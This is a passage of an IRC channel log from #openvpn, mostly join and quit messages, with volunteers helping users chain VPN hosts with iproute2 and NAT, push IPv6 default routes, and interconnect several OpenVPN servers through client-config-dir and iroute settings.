05:17 -!- Shadowized [~Shadowize@st0p.trying.to.trac3.me] has quit [Ping timeout: 248 seconds]
05:17 -!- nastjuid [~nastjuid@c-76-102-128-160.hsd1.ca.comcast.net] has quit [Remote host closed the connection]
05:17 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has quit [Ping timeout: 248 seconds]
05:17 -!- abyss [~abyss@i-free.pl] has quit [Ping timeout: 248 seconds]
05:17 -!- Strider_ is now known as hjohnson
05:17 -!- abyss_ [~abyss@i-free.pl] has joined #openvpn
05:22 -!- david__ [~david@192.40.56.116] has joined #openvpn
05:22 -!- mjixx_ [~markus@80.67.14.31] has joined #openvpn
05:27 -!- Netsplit *.net <-> *.split quits: Willis, brad, jzaw, pulz, dvl, peper, defswork, sw0rdfish, kevinsky, jtrucks,  (+25 more, use /NETSPLIT to show all of them)
05:28 -!- lmm_ [uid6417@gateway/web/irccloud.com/session] has joined #openvpn
05:28 -!- Netsplit over, joins: WinstonSmith, cyberspace-
05:28 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
05:28 -!- Netsplit over, joins: @dazo_afk, riddle, @novaflash, WOOOP, jtrucks, BtbN, jzaw, DBordello, Neal_, kevinsky (+22 more)
05:28 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Max SendQ exceeded]
05:28 -!- brad [~brad@ninja.so] has quit [Max SendQ exceeded]
05:28 -!- cyberspace- [20253@ninthfloor.org] has quit [Max SendQ exceeded]
05:28 -!- peper [~peper@gentoo/developer/peper] has quit [Max SendQ exceeded]
05:28 -!- brad [~brad@ninja.so] has joined #openvpn
05:28 -!- peper [~peper@node.piotrj.org] has joined #openvpn
05:29 -!- Denial- [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
05:29 -!- hive-mind [pranq@mail.bbis.us] has joined #openvpn
05:33 -!- lmm [uid6417@gateway/web/irccloud.com/x-mwjmemhybgqpyqxo] has quit [Ping timeout: 260 seconds]
05:33 -!- sysdoc [~sysdoc@pool-71-105-40-229.lsanca.dsl-w.verizon.net] has quit [Ping timeout: 260 seconds]
05:33 -!- david___1 [~david@192.40.56.116] has quit [Ping timeout: 255 seconds]
05:33 -!- mjixx [~markus@80.67.14.31] has quit [Ping timeout: 260 seconds]
05:33 -!- nutron [~nutron@unaffiliated/nutron] has quit [Ping timeout: 260 seconds]
05:33 -!- uuuppz [uuuppz@78.129.207.46] has quit [Ping timeout: 260 seconds]
05:33 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
05:33 -!- Cr4zi3 [killaz@staff.xbins.org] has quit [Ping timeout: 255 seconds]
05:33 -!- Netsplit *.net <-> *.split quits: Willis, brad, jzaw, lmm_, pulz, dvl, defswork, sw0rdfish, kevinsky, jtrucks,  (+23 more, use /NETSPLIT to show all of them)
05:33 -!- rymnio_ [~chatzilla@91.234.245.245] has quit [Read error: Connection reset by peer]
05:33 -!- sysdoc_ [~sysdoc@pool-71-105-40-229.lsanca.dsl-w.verizon.net] has joined #openvpn
05:33 -!- sysdoc_ is now known as sysdoc
05:33 -!- _Cr4zi3 [killaz@staff.xbins.org] has joined #openvpn
05:33 -!- nutron|w [~nutron@24.67.96.21] has joined #openvpn
05:33 -!- rymnio [~chatzilla@91.234.245.245] has joined #openvpn
05:33 -!- peper [~peper@node.piotrj.org] has quit [Changing host]
05:33 -!- peper [~peper@gentoo/developer/peper] has joined #openvpn
05:33 -!- Denial [~Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit [Ping timeout: 260 seconds]
05:33 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
05:33 -!- uuuppz [uuuppz@78.129.207.46] has joined #openvpn
05:33 -!- rymnio [~chatzilla@91.234.245.245] has quit [Ping timeout: 255 seconds]
05:33 -!- hive-mind [pranq@mail.bbis.us] has quit [Changing host]
05:33 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
05:33 -!- Denial- is now known as Denial
05:33 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
05:33 -!- rymnio_ [~chatzilla@91.234.245.245] has joined #openvpn
05:34 -!- Netsplit over, joins: @dazo_afk, riddle, @novaflash, brad, lmm_, WinstonSmith, WOOOP, jtrucks, BtbN, jzaw (+23 more)
05:34 -!- Netsplit *.net <-> *.split quits: mrrothhcloud___, vandemar, stephan48, rymnio_, thalweg, saneki, JackWinter, DrCode, master_o1_master, fvalente,  (+54 more, use /NETSPLIT to show all of them)
05:35 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Max SendQ exceeded]
05:35 -!- riddle [riddle@us.yunix.net] has quit [Max SendQ exceeded]
05:36 -!- riddle [riddle@us.yunix.net] has joined #openvpn
05:39 -!- rymnio_ [~chatzilla@91.234.245.245] has joined #openvpn
05:39 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
05:39 -!- uuuppz [uuuppz@78.129.207.46] has joined #openvpn
05:39 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
05:39 -!- nutron|w [~nutron@24.67.96.21] has joined #openvpn
05:39 -!- _Cr4zi3 [killaz@staff.xbins.org] has joined #openvpn
05:39 -!- sysdoc [~sysdoc@pool-71-105-40-229.lsanca.dsl-w.verizon.net] has joined #openvpn
05:39 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has joined #openvpn
05:39 -!- nastjuid_ [~nastjuid@c-76-102-128-160.hsd1.ca.comcast.net] has joined #openvpn
05:39 -!- NChief_ [~nchief@unaffiliated/nchief] has joined #openvpn
05:39 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-dtxogybnwzaivfop] has joined #openvpn
05:39 -!- mattin_ [~user@63.142.161.4] has joined #openvpn
05:39 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
05:39 -!- MrPockets [~MevinKitt@CPE-72-129-142-124.new.res.rr.com] has joined #openvpn
05:39 -!- j5m1th__ [~j5m1th@2.186.99.225] has joined #openvpn
05:39 -!- AndrewX192 [~andrew@unaffiliated/andrewx192] has joined #openvpn
05:39 -!- vandemar [spin@nginx/adept/vandemar] has joined #openvpn
05:39 -!- master_o1_master [~master_of@p4FF246F6.dip0.t-ipconnect.de] has joined #openvpn
05:39 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
05:39 -!- JackWinter [~jack@vodsl-5042.vo.lu] has joined #openvpn
05:39 -!- JSharpe_ [~JSharpe@176.253.10.142] has joined #openvpn
05:39 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
05:39 -!- Poster|w [poster@gateway/shell/bshellz.net/x-xlxaabddpspcixcu] has joined #openvpn
05:39 -!- Cultist [~Cultist@c-67-184-182-139.hsd1.il.comcast.net] has joined #openvpn
05:39 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
05:39 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
05:39 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
05:39 -!- fvalente [~fvalente@ts.node.pt] has joined #openvpn
05:39 -!- druid [~druid@unaffiliated/druid] has joined #openvpn
05:39 -!- BenLue [~BenLue@178-83-36-152.dynamic.hispeed.ch] has joined #openvpn
05:39 -!- zoredache [~zoredache@pdpc/supporter/professional/zoredache] has joined #openvpn
05:39 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
05:39 -!- Varazir [~mircwars@c-94-255-133-18.cust.bredband2.com] has joined #openvpn
05:39 -!- awc737 [~awc737@2604:180:1::e9e7:263f] has joined #openvpn
05:39 -!- ServerTechLaptop [~ServerTec@server2.hosthighway.co] has joined #openvpn
05:39 -!- lirime [~liriel@cinnabar.feralhosting.com] has joined #openvpn
05:39 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
05:39 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
05:39 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
05:39 -!- zarrsh [~zarrsh@cpe-65-27-192-220.cinci.res.rr.com] has joined #openvpn
05:39 -!- hazardous [~bh@openvpn/user/hazardous] has joined #openvpn
05:39 -!- mnice [~jdoe@static-84-242-118-58.net.upcbroadband.cz] has joined #openvpn
05:39 -!- ele [~maarten@ks3097335.kimsufi.com] has joined #openvpn
05:39 -!- majuscule [~dylan@dylansserver.com] has joined #openvpn
05:39 -!- stephan48 [stephan@opennic/stephan] has joined #openvpn
05:39 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
05:39 -!- ServerMode/#openvpn [+ov krzee hazardous] by calvino.freenode.net
05:39 -!- octe [~octe@stilgar.fixme.se] has joined #openvpn
05:39 -!- thalweg [~quassel@198.211.102.196] has joined #openvpn
05:39 -!- JesseC [~JesseCWor@wsip-98-175-20-126.br.br.cox.net] has joined #openvpn
05:39 -!- ThoMe_ [~tm@tm.muc.de] has joined #openvpn
05:39 -!- meepmeep [~meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
05:39 -!- wykydtron [tassadar@persephone.darkness-reigns.net] has joined #openvpn
05:39 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
05:39 -!- gardar [~gardar@gardar.net] has joined #openvpn
05:39 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
05:39 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has joined #openvpn
05:39 -!- rooth [tomte@92.43.35.21] has joined #openvpn
05:39 -!- batrick [~batrick@nmap/developer/batrick] has joined #openvpn
05:39 -!- saneki [~saneki@dedi2.ip1.zylongaming.com] has joined #openvpn
05:39 -!- soapee01 [~soapee01@24-155-219-177.dyn.grandenetworks.net] has joined #openvpn
05:39 -!- C-S-B [~C-S-B@host86-171-109-108.range86-171.btcentralplus.com] has joined #openvpn
05:39 -!- Subject_Chell [~subject@66.172.12.6] has joined #openvpn
05:39 -!- feth [foobar@ile-flottante.tuttu.info] has joined #openvpn
05:39 -!- phantomcircuit [~phantomci@covertinferno.org] has joined #openvpn
05:40 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Max SendQ exceeded]
05:41 -!- JackWinter [~jack@vodsl-5042.vo.lu] has quit [Excess Flood]
05:41 -!- JackWinter [~jack@vodsl-5042.vo.lu] has joined #openvpn
05:41 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
05:41 -!- lmm_ [uid6417@gateway/web/irccloud.com/session] has quit [Changing host]
05:41 -!- lmm_ [uid6417@gateway/web/irccloud.com/x-cdygmhhdrxqapkot] has joined #openvpn
05:43 -!- mattin_ [~user@63.142.161.4] has quit [Ping timeout: 245 seconds]
05:45 -!- Olipro [~Olipro@d.e.r.p.6.a.1.0.d.d.0.7.2.0.1.0.a.2.ip6.arpa] has joined #openvpn
05:45 -!- Olipro [~Olipro@d.e.r.p.6.a.1.0.d.d.0.7.2.0.1.0.a.2.ip6.arpa] has quit [Changing host]
05:45 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
05:57 -!- mattin_ [~user@63.142.161.4] has joined #openvpn
06:05 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 245 seconds]
06:06 -!- mattin_ [~user@63.142.161.4] has quit [Ping timeout: 246 seconds]
06:14 -!- lmm_ is now known as lmm
06:15 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
06:18 -!- mattin_ [~user@63.142.161.4] has joined #openvpn
06:23 -!- mattin_ [~user@63.142.161.4] has quit [Ping timeout: 245 seconds]
06:24 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 264 seconds]
06:25 -!- JackWinter [~jack@vodsl-5042.vo.lu] has quit [Quit: ZNC - http://znc.in]
06:26 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
06:26 -!- JackWinter [~jack@vodsl-5042.vo.lu] has joined #openvpn
06:31 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has quit [Remote host closed the connection]
06:39 -!- mattin_ [~user@63.142.161.4] has joined #openvpn
06:45 -!- Tera [~tera@ip133-114.seclan.com] has quit [Changing host]
06:45 -!- Tera [~tera@unaffiliated/tera] has joined #openvpn
06:56 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
06:56 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
06:57 -!- mattin_ [~user@63.142.161.4] has quit [Ping timeout: 264 seconds]
06:58 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
07:11 -!- mattin_ [~user@63.142.161.4] has joined #openvpn
07:17 -!- mattin_ [~user@63.142.161.4] has quit [Ping timeout: 245 seconds]
07:26 -!- y4h0 [~yavor@79.124.82.52] has joined #openvpn
07:26 < y4h0> hey
07:27 < y4h0> can i use a smart card plugged into openvpn server when connected with openvpn client ?
07:28 -!- Zenum [~Zenum@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
07:29 -!- Zenum [~Zenum@unaffiliated/zenum] has joined #openvpn
07:36 -!- mattin_ [~user@63.142.161.4] has joined #openvpn
07:49 -!- mattin_ [~user@63.142.161.4] has quit [Ping timeout: 256 seconds]
08:03 -!- mattin_ [~user@63.142.161.4] has joined #openvpn
08:07 -!- mattin_ [~user@63.142.161.4] has quit [Ping timeout: 246 seconds]
08:21 -!- mattin_ [~user@63.142.161.4] has joined #openvpn
08:28 -!- mattin_ [~user@63.142.161.4] has quit [Ping timeout: 245 seconds]
08:41 -!- mattin_ [~user@63.142.161.4] has joined #openvpn
08:56 -!- Airwave_ is now known as Airwave
08:59 -!- newbie|4 [~tjz@bb119-74-161-116.singnet.com.sg] has quit [Read error: Connection reset by peer]
08:59 -!- newbie|4 [~tjz@bb119-74-161-116.singnet.com.sg] has joined #openvpn
08:59 -!- zheng [~zheng@101.229.199.34] has quit [Quit: Leaving]
09:00 -!- mattin_ [~user@63.142.161.4] has quit [Ping timeout: 264 seconds]
09:06 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
09:07 -!- newbie|4 [~tjz@bb119-74-161-116.singnet.com.sg] has quit [Ping timeout: 256 seconds]
09:14 -!- mattin_ [~user@63.142.161.4] has joined #openvpn
09:21 -!- mattin_ [~user@63.142.161.4] has quit [Ping timeout: 252 seconds]
09:38 -!- mattin_ [~user@63.142.161.4] has joined #openvpn
09:44 -!- MrPockets [~MevinKitt@CPE-72-129-142-124.new.res.rr.com] has quit [Ping timeout: 276 seconds]
09:46 -!- mattin_ [~user@63.142.161.4] has quit [Ping timeout: 260 seconds]
09:49 -!- MrPockets [~MevinKitt@CPE-72-129-142-124.new.res.rr.com] has joined #openvpn
09:56 -!- emmanuelux [~emmanuelu@2a01:e35:2e4d:9010:c985:a29e:382:7714] has joined #openvpn
09:57 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 245 seconds]
09:57 -!- c|oneman [cloneman@1337.montrealdark.com] has quit [Ping timeout: 264 seconds]
09:59 -!- c|oneman [cloneman@1337.montrealdark.com] has joined #openvpn
09:59 -!- mattin_ [~user@63.142.161.4] has joined #openvpn
10:00 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
10:02 -!- rymnio_ [~chatzilla@91.234.245.245] has quit [Ping timeout: 251 seconds]
10:07 -!- mattin_ [~user@63.142.161.4] has quit [Ping timeout: 260 seconds]
10:24 -!- mattin_ [~user@63.142.161.4] has joined #openvpn
10:35 -!- mattin_ [~user@63.142.161.4] has quit [Ping timeout: 256 seconds]
10:38 -!- fellayaboy [~fellayabo@unaffiliated/fellayaboy] has joined #openvpn
10:39 < fellayaboy> is it possible to connect for a host to be a server and a client to another vpn?
10:39 < fellayaboy> excuse i meant to say is it possible to have a host be a vpn server and a client to another vpn server at the same time
10:40 < fellayaboy> is it possible for a host be a vpn server and client at the same time
10:47 -!- mattin_ [~user@63.142.161.4] has joined #openvpn
10:50 -!- julianoliver [~julian@202.66.238.89.in-addr.arpa.manitu.net] has quit [Ping timeout: 256 seconds]
10:53 < Poster> fellayaboy: yes - you will just need to be sure to use unique network adapters in each instance
10:54 -!- mattin_ [~user@63.142.161.4] has quit [Ping timeout: 255 seconds]
10:59 -!- Zenum [~Zenum@unaffiliated/zenum] has quit [Quit: Zenum BNC - zenum.co.uk]
10:59 -!- Zenum [~Zenum@unaffiliated/zenum] has joined #openvpn
11:04 < fellayaboy> network adapters..u mean virtual network adapters?
11:08 -!- mattin_ [~user@63.142.161.4] has joined #openvpn
11:10 < Poster> yep, tap0, tap1, tap2, tun0, tun1, tun2, etc
11:12 < Poster> tap0 can be server, tap1 can be client, tun1 can be client, tun2 can be server, etc
11:13 -!- mattin_ [~user@63.142.161.4] has quit [Ping timeout: 272 seconds]
11:13 < fellayaboy> hmmm
11:14 < fellayaboy> how would i do that though...how do u setup another adapter
11:15 < fellayaboy> but before we proceed this is what i basically wanna do... i got host 1 host 2 and host 3...host 1 connects to 2 and 2 connects to 3...i want it so that when i browse the internet with host 1...it shows host 3 ipaddress but host 1 is connect to host 2
11:15 < fellayaboy> i hope i didnt make that confusing
11:17 < fellayaboy> host 1 <> host 2 <> host 3
11:17 < Poster> no you can do that, but you need to be sure to have appropriate routing in place on all sides
11:17 < fellayaboy> exactly
11:17 < fellayaboy> how would i be able to do that...is there a tutorial online that u know of
11:18 < Poster> you're going to have difficulty in that setup
11:18 < Poster> for host 2 to route all traffic to the Internet via host 3, connections to host 2 over the Internet will fail (their return traffic will leave via host 3's IP address)
11:18 < fellayaboy> hmm yes..id also have to configure the firewall also right
11:19 < Poster> you may be better off proxying through host 3
11:19 < Poster> instead of trying to route
11:19 < fellayaboy> hmm idk if theres encryption though
11:19 < fellayaboy> if i use proxy
11:20 < Poster> it can ride the OpenVPN link
11:20 < Poster> it's just not routed
11:20 < fellayaboy> hmm how can i do that then
11:20 < Poster> you should be able to proxy most things through an http and/or socks proxy of some type
11:20 < fellayaboy> i see
11:21 < Poster> well, I would start small, do you have host 1 to host 2 working?
11:21 < fellayaboy> yes
11:21 < Poster> ok and host 2 to host 3?
11:21 < fellayaboy> well host 2 to 3 would be an online pptp
11:21 < fellayaboy> freevpn
11:21 < fellayaboy> in my case
11:21 < Poster> oh
11:21 < Poster> ok so you don't have control of host 3
11:21 < fellayaboy> justfreevpn.com... for now...
11:22 < fellayaboy> well in the future id like to have my own host 3 and use that of course
11:22 < Poster> ok so that makes it a bit more complex
11:22 < Poster> what OS is host 2?
11:22 < fellayaboy> where i can use openvpn on host 3 and route the traffic back to host 2 and 1 u know
11:22 < fellayaboy> ubuntu 13.04
11:23 < Poster> ok, you will probably need to use iproute2 and apply a different routing table for connections coming from host 1
11:23 < Poster> http://lartc.org/howto/lartc.iproute2.html
11:23 <@vpnHelper> Title: Introduction to iproute2 (at lartc.org)
11:23 < fellayaboy> ok thk u
11:23 < Poster> basically you need to tag anything coming from within the VPN tunnel between host 1 and host 2 with a different routing table, setting the default gateway for host 3
11:24 < Poster> you will also likely need to perform NAT to host 3, appearing to come from host 2 since host 3 will have no route back to host 1
11:24 -!- brad [~brad@ninja.so] has quit [Ping timeout: 252 seconds]
11:25 < Poster> iptables would be good there, something like (on host 2) iptables -t nat -A POSTROUTING -o PPTP_INTERFACE_NAME -j MASQUERADE
11:25 -!- brad [~brad@ninja.so] has joined #openvpn
11:26 < fellayaboy> i see
11:26 < Poster> I'd start out with just host 1 to host 2
11:26 < Poster> make sure everything is good there, then add host 3 into the equation
11:27 < fellayaboy> yeah host 1 and host 2 are communicating efficiently.. all traffic from host 2 is going to host 1...host 1 has host 2's external ip address
11:27 < Poster> what you're trying to do is possible, but somewhat complex, if you're working on networking, routing and netfilter, you'll probably be best served to do one at a time for now
11:28 < fellayaboy> i think the best thing to do now is connect to freevpn.com using pptp and see get that to work and see what happens actually...im guessing it should just work right out the box but i havent tried yet...let me see what happens there
11:29 < fellayaboy> then if i get pptp to work ima connect to nanother openvpn host and do the iptables and iproute2 ordeal
11:29 < fellayaboy> so let me brb and see
11:29 < Poster> yeah that sounds good
11:32 < fellayaboy> thanks for ur help let me see and ill be back
11:33 < Poster> yep sounds good, have fun
11:33 -!- Ali_nz2 [~Ali_nz1@203-109-232-211.dsl.dyn.ihug.co.nz] has quit [Ping timeout: 264 seconds]
11:34 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Read error: Operation timed out]
11:34 -!- al_nz1 [al_nz1@203-109-232-211.dsl.dyn.ihug.co.nz] has joined #openvpn
11:41 -!- fellayaboy [~fellayabo@unaffiliated/fellayaboy] has quit [Ping timeout: 272 seconds]
11:43 -!- brad [~brad@ninja.so] has quit [Ping timeout: 252 seconds]
11:44 -!- brad [~brad@ninja.so] has joined #openvpn
11:52 < BtbN> Is there something like "redirect-gateway def1" for IPv6?
12:00 < EugeneKay> push "route-ipv6 2000::/3"
12:00 < djjunde> BtbN: i don't have own experience with ipv6 but i read from some documentation that ipv6 users can use example: push "route-ipv6 some:ip:v:6::/64"
12:00 < EugeneKay> 2000::/3 being the currently allocated unicast space
12:01 < EugeneKay> SOME OSes use that route as their "default gateway", but most do ::/0
12:01 -!- rymnio [~chatzilla@91.234.245.245] has joined #openvpn
12:01 < EugeneKay> If you have a problem with it you'll need to split it up into 2000::/4 and..... I never got the hang of v6 subnetting not on a /N*8 boundary
12:01 < EugeneKay> Or N*4
12:02 -!- brad` [~brad@ninja.so] has joined #openvpn
12:02 -!- brad [~brad@ninja.so] has quit [Ping timeout: 252 seconds]
12:06 -!- brad` [~brad@ninja.so] has quit [Ping timeout: 252 seconds]
12:08 < vandemar> is it that tough?  2000::/3  -> identify which hex char is involved (the 2), figure out how many bits are masked (1 bit is allowed to vary), and apply that mask (anything from 2-3 is allowed), so 2000:: to 3fff(:ffff){7}
12:08 < EugeneKay> I think it'd be 3000::/4?
12:08 < EugeneKay> I dunno
12:08 < EugeneKay> I always just memorized what the subnet splits were in IPv4
12:09 < EugeneKay> Or at least how many IPs were in a given size
12:09 < vandemar> ipv6 is easier because the ips are all displayed in hex
12:09 -!- brad [~brad@ninja.so] has joined #openvpn
12:10 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
12:11 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
12:12 -!- mback2k_ [sbnc@2a00:1828:2000:378:1337:0:59ee:5431] has quit [Remote host closed the connection]
12:17 -!- mback2k_ [sbnc@89.238.84.46] has joined #openvpn
12:18 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Ping timeout: 246 seconds]
12:20 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds]
12:20 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 246 seconds]
12:21 < BtbN> djjunde, EugeneKay: Wouldn't just pushing ::/0 cause problems? It could destroy the route to the VPN server itself, and break the connection.
12:23 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has joined #openvpn
12:23 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has quit [Changing host]
12:23 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
12:24 -!- raidz_away [~raidz@46.28.203.186] has joined #openvpn
12:24 -!- raidz_away is now known as raidz
12:24 -!- raidz [~raidz@46.28.203.186] has quit [Changing host]
12:24 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
12:24 -!- mode/#openvpn [+o raidz] by ChanServ
12:24 < EugeneKay> Of course it would
12:24 -!- mattock_afk [~mattock@raidz.im] has joined #openvpn
12:24 -!- mattock_afk is now known as mattock
12:24 -!- mattock [~mattock@raidz.im] has quit [Changing host]
12:24 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
12:24 -!- mode/#openvpn [+o mattock] by ChanServ
12:24 < EugeneKay> This is why you need to know exactly what redirect-gateway def1 expands to and replicate it
12:24 < EugeneKay> AFAIK there isn't a matching v6 option in 2.3
12:28 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
12:44 < jzaw> for now i push 2000::/3
12:44 < jzaw> BtbN,
12:56 < BtbN> jzaw: i usualy connect via ipv6 to my OpenVPN server. That would just destroy the route to the server.
12:57 < jzaw> ah of course
12:58 < jzaw> BtbN, unless you also push a specific ipv6 route for the ip of the openpen server that's outside the tunnel itself
12:59 < jzaw> i dont use def1 for my ipv4 .... and do similar ... just to make sure the client can always reach the server
13:08 < BtbN> jzaw: well, i'd need to know the old default gateway for that.
13:08 < BtbN> or the gateway that was used to reach the server before
13:09 < jzaw> do you not have access to your client?
13:10 < BtbN> Not from the OpenVPN server. How should the server know what to push?
13:11 -!- Sjors [~sgielen@foo.kassala.de] has quit [Ping timeout: 246 seconds]
13:13 -!- Poster|w [poster@gateway/shell/bshellz.net/x-xlxaabddpspcixcu] has quit [Ping timeout: 255 seconds]
13:20 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Read error: Connection reset by peer]
13:25 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
13:26 -!- Olipro [~Olipro@d.e.r.p.6.a.1.0.d.d.0.7.2.0.1.0.a.2.ip6.arpa] has joined #openvpn
13:26 -!- Olipro is now known as Guest68402
13:28 -!- Poster|w [poster@gateway/shell/bshellz.net/x-upcjpowgpeqyvuic] has joined #openvpn
13:29 < jzaw> in ipv4 you can push like this     BtbN
13:29 < jzaw> push "route 81.2.122.222 255.255.255.255 net_gateway"
13:29 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:29 < jzaw> not sure if ipv6 can do the same
13:30 < jzaw> where the client will pick up its own net-gatway
13:42 -!- rymnio [~chatzilla@91.234.245.245] has quit [Read error: Connection reset by peer]
13:44 -!- rymnio [~chatzilla@91.234.245.245] has joined #openvpn
13:59 -!- Rene [~Rene@tigger.hertell.com] has left #openvpn []
14:04 -!- Sjors [~sgielen@foo.kassala.de] has quit [Ping timeout: 246 seconds]
14:18 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
14:19 -!- mfaroukg [~sameh@78.154.211.218] has joined #openvpn
14:20 -!- mfaroukg [~sameh@78.154.211.218] has left #openvpn []
14:41 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
14:41 -!- y4h0 [~yavor@79.124.82.52] has quit [Quit: Ex-Chat]
14:50 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds]
14:52 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 256 seconds]
14:53 -!- nortel [~qssl_fnod@qw3rty-2-pt.tunnel.tserv5.lon1.ipv6.he.net] has left #openvpn []
14:59 -!- djjunde [~djjunde@dsl-espbrasgw1-54f9cf-178.dhcp.inet.fi] has quit [Ping timeout: 264 seconds]
15:00 -!- djjunde [~djjunde@dsl-espbrasgw1-54f9cf-178.dhcp.inet.fi] has joined #openvpn
15:40 -!- Sur3 [~Sur3@ip-78-94-220-250.unitymediagroup.de] has joined #openvpn
15:42 < Sur3> Hello, i would like to connect different hardware openvpn-servers so that user could connect to one of them an arrive in the same virtual ip network, does someone know a manual for that or how can i do this?
15:43 < EugeneKay> You just need to tell each openvpn server to route traffic for the other's subnet to the respective place
15:45 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has quit [Ping timeout: 252 seconds]
15:45 < Sur3> sounds like this push route option? but then how to interconnect the servers, is every server client and server then, so do i need to run multible openvpn-instaces for that on a singe server?
15:46 < EugeneKay> Well
15:46 < EugeneKay> You need to do two things
15:46 < EugeneKay> On server A, add a route(to the OS) for the VPN subnet served by B(and vice-versa)
15:47 < EugeneKay> And push a route to VPN clients of A for the VPN subnet of B(and vice-versa)
15:47 < EugeneKay> The connection between A and B can be a VPN link itself, or a LAN network
15:47 < EugeneKay> All that matters is the routing gets there(and your firewall doesn't eat the packets)
15:48 < Sur3> yeah the connection should be a vpn link to be encrypted, because its an connection over open internet ^^
15:49 < EugeneKay> In that case, you can set up B as a client of A. Use a ccd entry to reset the route pushing, and then configure it with iroute for the B subnet
15:49 < EugeneKay> !route
15:49 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
15:49 <@vpnHelper> behind the server or client
15:49 < Sur3> so that sounds i have two run really two openvpn-connections on the servers, one for connecting them and one for listening to clients?
15:51 < Sur3> !ccd
15:51 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
15:51 < EugeneKay> No; B becomes a client of A. You just treat it special
15:52 < EugeneKay> B will have two instances running - one as a server, and the second as the client
15:52 < EugeneKay> A will only have one
15:52 < Sur3> ahh ok
15:53 < Sur3> ahh thanks, so i have to use A for the weakest machine because it only needs one openvpnd ^^
